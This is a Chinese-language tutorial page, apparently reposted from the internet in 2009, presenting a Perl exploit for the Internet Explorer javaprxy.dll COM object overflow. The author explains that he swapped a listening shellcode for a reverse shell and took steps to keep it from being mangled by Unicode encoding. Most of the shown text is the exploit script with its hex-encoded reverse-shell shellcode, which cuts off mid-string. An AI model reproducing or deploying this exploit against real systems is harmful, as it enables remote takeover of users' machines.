当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > IE javaprxy.dll COM Object漏洞利用程序

安全基础
刍议IPv6的安全问题
网络最经典命令行-网络安全工作者的必杀技
google hacking的实现以及应用(上)
google hacking的实现以及应用(下)
揭开网络钓鱼(Phishing)秘密
全面解析“网络钓鱼”式攻击
木马随程序启动的另类方法
安全问答:网络钓鱼是什么意思
删除Win2000/XP/2003中guest账号
黑客营传奇故事一:幻影交叠
黑客营传奇故事二:灭门!
黑客营传奇故事三:Q下的阴谋
黑客营传奇故事四:木马的修改
黑客营传奇故事五:十面埋伏
黑客营传奇故事--别无选择
代挂QQ,密码安全吗?
IE7标签浏览更多细节曝光
Rundll.exe是病毒吗?
3721中文上网安装卸载之谜(1)
木马隐藏地点全搜查

安全基础 中的 IE javaprxy.dll COM Object漏洞利用程序


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 162 ::
收藏到网摘: n/a

 Microsoft Internet Explorer javaprxy.dll COM Object 溢出漏洞是前两天刚刚公布的,类似这样的漏洞我在以前也发过一个。这个漏洞的原理我不多说,总之又是IE的一个洞洞。漏洞利用方式依然采用暴力扩大内存的方式,我这里修改主要针对shellcode做了修改。
本地监听的shellcode没什么利用价值,还是反向的来得舒服。但是这个shellcode修改不是那么容易的是,为了防止shellcode被unicode编码所以要采用点小措施来方法。

整个程序我已经写出来了,如下,完全perl代码:

#! /usr/bin/perl
#doomie.pl

use strict;
use Socket;

my $reverse_shell="\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA".
                              "\xEB\x05\xE8\xEB\xFF\xFF\xFF".
                              "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12".
                              "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99".
                              "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12".
                              "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99".
                              "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9".
                              "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D".
                              "\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA".
                              "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32".
                              "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10".
                              "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8".
                              "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66".
                              "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5".
                              "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8".
&nbs